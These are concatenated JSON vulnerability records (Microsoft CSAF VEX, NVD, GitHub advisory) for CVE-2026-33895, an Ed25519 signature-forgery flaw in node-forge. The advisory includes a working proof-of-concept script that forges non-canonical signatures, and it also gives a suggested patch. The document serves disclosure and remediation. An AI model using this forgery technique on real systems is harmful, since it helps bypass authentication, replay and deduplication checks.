{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Public",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "CVE-2026-33895 Forge has signature forgery in Ed25519 due to missing S \u003e L check - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-33895.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "Forge has signature forgery in Ed25519 due to missing S \u003e L check",
    "tracking": {
      "current_release_date": "2026-03-31T01:02:28.000Z",
      "generator": {
        "date": "2026-03-31T07:11:03.706Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
        }
      },
      "id": "msrc_CVE-2026-33895",
      "initial_release_date": "2026-03-02T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2026-03-31T01:02:28.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "3.0",
                "product": {
                  "name": "Azure Linux 3.0",
                  "product_id": "17084"
                }
              },
              {
                "category": "product_version",
                "name": "2.0",
                "product": {
                  "name": "CBL Mariner 2.0",
                  "product_id": "17086"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "azl3 python-tensorboard 2.16.2-6",
                "product": {
                  "name": "azl3 python-tensorboard 2.16.2-6",
                  "product_id": "2"
                }
              }
            ],
            "category": "product_name",
            "name": "python-tensorboard"
          }
        ],
        "category": "vendor",
        "name": "Microsoft"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "azl3 python-tensorboard 2.16.2-6 as a component of Azure Linux 3.0",
          "product_id": "17084-2"
        },
        "product_reference": "2",
        "relates_to_product_reference": "17084"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-33895",
      "cwe": {
        "id": "CWE-347",
        "name": "Improper Verification of Cryptographic Signature"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "known_affected": [
          "17084-2"
        ],
        "under_investigation": [
          "17086-1"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2026-33895 Forge has signature forgery in Ed25519 due to missing S \u003e L check - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2026/msrc_cve-2026-33895.json"
        }
      ],
      "remediations": [
        {
          "category": "none_available",
          "date": "2026-03-31T01:02:28.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17084-2"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "environmentalsScore": 0.0,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "temporalScore": 7.5,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "17084-2"
          ]
        }
      ],
      "title": "Forge has signature forgery in Ed25519 due to missing S \u003e L check"
    }
  ]
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue."
    }
  ],
  "id": "CVE-2026-33895",
  "lastModified": "2026-03-31T20:16:27.597",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-27T21:17:26.157",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-347"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "node-forge"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T22:04:41Z",
    "nvd_published_at": "2026-03-27T21:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nEd25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S \u003e= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.\n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.\n\n**Configuration assumptions:**\n- Default forge Ed25519 verify API path (`ed25519.verify(...)`).\n\n\n## Root Cause\nIn `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature\u0027s last 32 bytes (`S`) directly in scalar multiplication:\n\n```javascript\nscalarbase(q, sm.subarray(32));\n```\n\nThere is no prior check enforcing `S \u003c L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.\n\n## Reproduction Steps\n- Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n- Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder.\n- The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`).\n- Confirm output includes:\n\n```json\n{\n\t\"forge\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": true\n\t},\n\t\"crypto\": {\n\t\t\"original_valid\": true,\n\t\t\"tweaked_valid\": false\n\t}\n}\n```\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged (S + L) signature in one run.\n- Uses Node/OpenSSL as a differential verification baseline.\n- Observed output on tested commit:\n\n```text\n{\n    \"forge\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": true\n    },\n    \"crypto\": {\n        \"original_valid\": true,\n        \"tweaked_valid\": false\n    }\n}\n```\n\n\u003cdetails\u003e\u003csummary\u003epoc.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst path = require(\u0027path\u0027);\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge\u0027);\nconst ed = forge.ed25519;\n\nconst MESSAGE = Buffer.from(\u0027dderpym is the coolest man alive!\u0027);\n\n// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).\nconst ED25519_ORDER_L = Buffer.from([\n  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,\n  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,\n]);\n\n// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.\n// This returns a new signature with s := s + L (mod 2^256), plus the carry.\nfunction addLToS(signature) {\n  if (!Buffer.isBuffer(signature) || signature.length !== 64) {\n    throw new Error(\u0027signature must be a 64-byte Buffer\u0027);\n  }\n  const out = Buffer.from(signature);\n  let carry = 0;\n  for (let i = 0; i \u003c 32; i++) {\n    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.\n    const sum = out[idx] + ED25519_ORDER_L[i] + carry;\n    out[idx] = sum \u0026 0xff;\n    carry = sum \u003e\u003e 8;\n  }\n  return { sig: out, carry };\n}\n\nfunction toSpkiPem(publicKeyBytes) {\n  if (publicKeyBytes.length !== 32) {\n    throw new Error(\u0027publicKeyBytes must be 32 bytes\u0027);\n  }\n  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.\n  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);\n  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);\n  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);\n  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);\n  const b64 = spki.toString(\u0027base64\u0027).match(/.{1,64}/g).join(\u0027\\n\u0027);\n  return `-----BEGIN PUBLIC KEY-----\\n${b64}\\n-----END PUBLIC KEY-----\\n`;\n}\n\nfunction verifyWithCrypto(publicKey, message, signature) {\n  try {\n    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));\n    const ok = crypto.verify(null, message, keyObject, signature);\n    return { ok };\n  } catch (error) {\n    return { ok: false, error: error.message };\n  }\n}\n\nfunction toResult(label, original, tweaked) {\n  return {\n    [label]: {\n      original_valid: original.ok,\n      tweaked_valid: tweaked.ok,\n    },\n  };\n}\n\nfunction main() {\n  const kp = ed.generateKeyPair();\n  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });\n  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });\n  const tweaked = addLToS(sig);\n  const okTweaked = ed.verify({\n    message: MESSAGE,\n    signature: tweaked.sig,\n    publicKey: kp.publicKey,\n  });\n  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);\n  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);\n  const result = {\n    ...toResult(\u0027forge\u0027, { ok }, { ok: okTweaked }),\n    ...toResult(\u0027crypto\u0027, cryptoOriginal, cryptoTweaked),\n  };\n  console.log(JSON.stringify(result, null, 2));\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\nAdd strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S \u003e= L`).\n\nHere is a patch we tested on our end to resolve the issue, though please verify it on your end:\n\n```diff\nindex f3e6faa..87eb709 100644\n--- a/lib/ed25519.js\n+++ b/lib/ed25519.js\n@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {\n     return -1;\n   }\n\n+  if(!_isCanonicalSignatureScalar(sm, 32)) {\n+    return -1;\n+  }\n+\n   for(i = 0; i \u003c n; ++i) {\n     m[i] = sm[i];\n   }\n@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {\n   return mlen;\n }\n\n+function _isCanonicalSignatureScalar(bytes, offset) {\n+  var i;\n+  // Compare little-endian scalar S against group order L and require S \u003c L.\n+  for(i = 31; i \u003e= 0; --i) {\n+    if(bytes[offset + i] \u003c L[i]) {\n+      return true;\n+    }\n+    if(bytes[offset + i] \u003e L[i]) {\n+      return false;\n+    }\n+  }\n+  // S == L is non-canonical.\n+  return false;\n+}\n+\n function modL(r, x) {\n   var carry, i, j, k;\n   for(i = 63; i \u003e= 32; --i) {\n```\n\n## Resources\n\n- RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4\n  - \u003e Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l\n\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
  "id": "GHSA-q67f-28xg-22rw",
  "modified": "2026-03-27T21:51:06Z",
  "published": "2026-03-26T22:04:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35961"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25793"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33895"
    },
    {
      "type": "WEB",
      "url": "https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc8032#section-8.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/digitalbazaar/forge"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Forge has signature forgery in Ed25519 due to missing S \u003e L check"
}